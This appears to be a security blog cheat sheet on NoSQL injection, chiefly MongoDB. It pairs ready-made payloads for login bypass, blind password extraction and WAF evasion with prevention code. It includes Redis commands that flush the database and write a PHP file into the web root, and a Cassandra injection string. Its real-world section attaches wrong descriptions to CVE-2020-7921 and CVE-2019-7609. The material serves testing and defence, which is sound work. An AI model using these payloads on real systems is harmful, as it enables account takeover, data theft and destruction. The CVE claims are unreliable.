Post

NoSQL Injection

NoSQL Injection

Introduction

NoSQL injection is a security vulnerability that occurs when untrusted data is sent to a NoSQL database interpreter as part of a command or query. Unlike SQL injection, NoSQL injection exploits non-relational databases that don’t use SQL query language, such as MongoDB, Redis, Cassandra, CouchDB, etc. These attacks can lead to unauthorized data access, data modification, or even complete system compromise.

Common NoSQL Databases

DatabaseQuery Language/InterfaceCommon Use Cases
MongoDBBSON/JSON-like queriesDocument storage, web applications
RedisCommands over TCP/IPCaching, message broking
CassandraCQL (Cassandra Query Language)High-scale distributed data
CouchDBHTTP/REST API, JSONDocument storage, web apps
DynamoDBAPI calls (AWS SDK)Scalable applications on AWS
FirebaseREST API, JSONMobile applications, real-time apps

MongoDB Injection Techniques

Basic MongoDB Operators

OperatorDescriptionUsage
$eqEquals{ field: { $eq: value } }
$neNot equals{ field: { $ne: value } }
$gtGreater than{ field: { $gt: value } }
$ltLess than{ field: { $lt: value } }
$gteGreater than or equal{ field: { $gte: value } }
$lteLess than or equal{ field: { $lte: value } }
$regexRegular expression{ field: { $regex: pattern } }
$whereJavaScript expression{ $where: function() { return true; } }
$existsField exists check{ field: { $exists: true } }
$orLogical OR{ $or: [ { a: 1 }, { b: 2 } ] }
$andLogical AND{ $and: [ { a: 1 }, { b: 2 } ] }

Authentication Bypass Examples

Example 1: Basic Authentication Bypass

Normal login request:

1
db.users.find({username: "admin", password: "secret"});

Injection payload (POST data or URL parameters):

1
username[$ne]=dummy&password[$ne]=dummy

This translates to:

1
db.users.find({username: {$ne: "dummy"}, password: {$ne: "dummy"}});

Example 2: Using Empty Password or True Condition

1
username=admin&password[$ne]=

This translates to:

1
db.users.find({username: "admin", password: {$ne: ""}});

Example 3: Always True Conditions

1
username[$gt]=&password[$gt]=

This translates to:

1
db.users.find({username: {$gt: ""}, password: {$gt: ""}});

NoSQL Operator Injections

Comparison Operators

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Not equal
username[$ne]=admin

# Greater than
age[$gt]=18

# Less than
price[$lt]=100

# Greater than or equal
quantity[$gte]=10

# Less than or equal
date[$lte]=2023-01-01

Logical Operators

1
2
3
4
5
# OR operation
[$or][0][username]=admin&[$or][1][username]=user

# AND operation
[$and][0][username]=admin&[$and][1][age][$gt]=18

Array Operators

1
2
3
4
5
# Field matches any value in array
tags[$in][]=admin&tags[$in][]=user

# Field doesn't match any value in array
role[$nin][]=guest&role[$nin][]=user

Element Operators

1
2
3
4
5
# Field exists check
admin[$exists]=true

# Type check
age[$type]=16  # 16 = int in BSON

JavaScript Execution (MongoDB specific)

1
2
3
4
5
# Using $where operator
$where=this.username=="admin"

# More complex function
$where=function(){sleep(5000);return true;}

Advanced NoSQL Injection Techniques

JavaScript Injection in MongoDB

1
2
3
4
5
6
7
8
// Classic $where injection
db.users.find({$where: "this.username == 'admin'"})

// Time-based blind injection
db.users.find({$where: "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"})

// Exfiltration via error messages
db.users.find({$where: "this.username == ''+JSON.stringify(this)+''"})

Object Injection Patterns

1
2
3
4
5
// Inject into unmarshalled JSON object
{"$gt": ""} // Injected instead of a string value

// Function injection
{"$function": "function(){return shellcode}"} // Specific to certain drivers

NoSQL Truncation Attacks

1
2
# Some implementations might truncate the query
username[$ne]=admin&username=admin

Blind NoSQL Injection Techniques

1
2
3
4
5
6
7
8
9
10
11
// Boolean-based blind
// Testing if admin user exists and password starts with 'a'
username=admin&password[$regex]=^a.*

// Time-based blind
username=admin&password[$where]=function(){if(this.substr(0,1)=='a'){sleep(5000)}return true}

// Extraction character by character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...and so on

Language-Specific Injection Examples

Node.js + Express + MongoDB Example

Vulnerable code:

1
2
3
4
5
6
7
8
9
10
11
app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;
  
  db.collection('users').findOne({
    username: username,
    password: password
  }, (err, user) => {
    // Authentication logic
  });
});

Injection via HTTP request:

1
2
3
4
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": ""}}

Python + PyMongo Example

Vulnerable code:

1
2
3
4
5
@app.route('/user', methods=['GET'])
def find_user():
    username = request.args.get('username')
    user = db.users.find_one({'username': username})
    return jsonify(user)

Injection when username is processed directly:

1
GET /user?username[$ne]=dummy HTTP/1.1

PHP + MongoDB Example

Vulnerable code:

1
2
3
4
5
6
7
<?php
$username = $_POST['username'];
$password = $_POST['password'];

$query = array("username" => $username, "password" => $password);
$user = $collection->findOne($query);
?>

Injection via POST request:

1
username=admin&password[$ne]=

WAF Bypass Techniques for NoSQL Injection

JSON Encoding Variations

1
2
3
4
5
6
7
8
// Standard injection
{"username": {"$ne": null}}

// Unicode escapes
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065": {"\u0024\u006e\u0065": null}}

// Nested properties
{"username": {"$eq": {"$ne": "dummy"}}}

Operator Alternative Obfuscation

1
2
3
4
5
6
7
8
// Alternative to $ne
{"username": {"$not": {"$eq": "admin"}}}

// Alternative to $gt
{"username": {"$not": {"$lt": "admin"}}}

// Using $where instead of comparison operators
{"$where": "this.username != 'admin'"}

Array-based Bypass

1
2
3
4
5
// Using $in with a large array
{"username": {"$in": ["admin", "user", "moderator"]}}

// Using $elemMatch for nested checks
{"credentials": {"$elemMatch": {"username": "admin", "password": {"$ne": ""}}}}

Multi-stage Injections

1
2
3
4
5
// First find matching document ID
{"username": "admin"}

// Then use the ID in a second query with injection
{"_id": ObjectId("..."), "password": {"$ne": ""}}

Common NoSQL Injection Testing Payloads

MongoDB Authentication Bypass Payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Simple authentication bypasses
username=admin&password[$ne]=anything
username[$ne]=not_admin&password[$ne]=not_password

# Regex-based extraction
username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
...and so on

# Regex with OR operators
username=admin&password[$regex]=^(a|b)

# Using $exists
username=admin&password[$exists]=false

# Using $in operator
username[$in][]=admin&password[$ne]=anything

Redis Injection Payloads

1
2
3
4
5
6
7
# Command injection in Redis-backed apps
FLUSHALL
SET password "newpass"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload "<?php phpinfo(); ?>"
SAVE

Cassandra CQL Injection

1
2
# Manipulating filter conditions
username='; UPDATE users SET admin=true WHERE username='admin

Detection Techniques

Manual Detection Signs

  1. Error messages containing database information
  2. Unexpected behavior when submitting special characters
  3. Different responses when submitting Boolean conditions
  4. Time delays when submitting sleep/delay functions

Automated Testing Methods

  1. Parameter fuzzing with NoSQL operators
  2. Boolean-based blind testing
  3. Time-based blind testing
  4. Regular expression extraction methods

Prevention & Mitigation

General Prevention Methods

  1. Input Validation
    • Validate data types, formats, and ranges
    • Reject inputs containing NoSQL special characters and operators
  2. Query Parameterization
    1
    2
    3
    4
    5
    
    // BAD (direct insertion):
    db.users.find({username: username, password: password});
       
    // GOOD (using parameters):
    db.users.find({username: sanitize(username), password: sanitize(password)});
    
  3. Schema Enforcement
    • Use schema validation to restrict data types and formats
    • MongoDB example:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      
      db.createCollection("users", {
      validator: {
        $jsonSchema: {
          bsonType: "object",
          required: ["username", "password"],
          properties: {
            username: { bsonType: "string" },
            password: { bsonType: "string" }
          }
        }
      }
      });
      
  4. Input Sanitization Libraries
    • Use libraries to sanitize user input
    • For MongoDB: mongo-sanitize, mongoose
  5. Least Privilege Principle
    • Use database users with minimal required permissions
    • Implement field-level access control

Language-Specific Prevention

Node.js

1
2
3
4
5
6
7
8
9
10
11
12
13
const sanitize = require('mongo-sanitize');

app.post('/login', (req, res) => {
  const cleanUsername = sanitize(req.body.username);
  const cleanPassword = sanitize(req.body.password);
  
  db.collection('users').findOne({
    username: cleanUsername,
    password: cleanPassword
  }, (err, user) => {
    // Authentication logic
  });
});

Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pymongo import MongoClient
import re

def sanitize(data):
    if isinstance(data, dict):
        return {sanitize(key): sanitize(value) for key, value in data.items() 
                if not key.startswith('$')}
    elif isinstance(data, list):
        return [sanitize(item) for item in data]
    else:
        return data

@app.route('/user', methods=['GET'])
def find_user():
    username = request.args.get('username')
    sanitized_username = sanitize(username)
    user = db.users.find_one({'username': sanitized_username})
    return jsonify(user)

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function sanitize($data) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            if (strpos($key, '$') === 0) {
                unset($data[$key]);
            } else {
                $data[$key] = sanitize($value);
            }
        }
    }
    return $data;
}

$username = sanitize($_POST['username']);
$password = sanitize($_POST['password']);

$query = array("username" => $username, "password" => $password);
$user = $collection->findOne($query);
?>

NoSQL Injection Testing Tools

  1. NoSQLMap: Automated NoSQL database enumeration and web application exploitation tool
    • https://github.com/codingo/NoSQLMap
  2. NoSQL Exploitation Framework: Automation framework for NoSQL database scanning
    • https://github.com/torque59/Nosql-Exploitation-Framework
  3. MongoDB Payload Fuzzer: Collection of payloads for fuzzing MongoDB applications
    • Various GitHub repositories
  4. Burp Suite Extensions:
    • NoSQL Scanner
    • JSON Web Tokens
    • Content-Type Converter
  5. OWASP ZAP: Can be configured to test NoSQL injection vulnerabilities

Real-World Examples

CVE-2019-7609: Kibana Prototype Pollution and NoSQL Injection

The timelion visualization in Kibana before 5.6.15 and 6.6.1 had an issue where the tickFormatter functionality exposed the server to an arbitrary code execution vulnerability through NoSQL injection.

CVE-2020-7921: MongoDB NoSQL Injection in Spring Data

Spring Data MongoDB before 2.1.9, 2.2.x before 2.2.7, and 3.0.x before 3.0.1 allowed injection of SpEL expressions that could lead to arbitrary code execution.

References

This post is licensed under CC BY 4.0 by the author.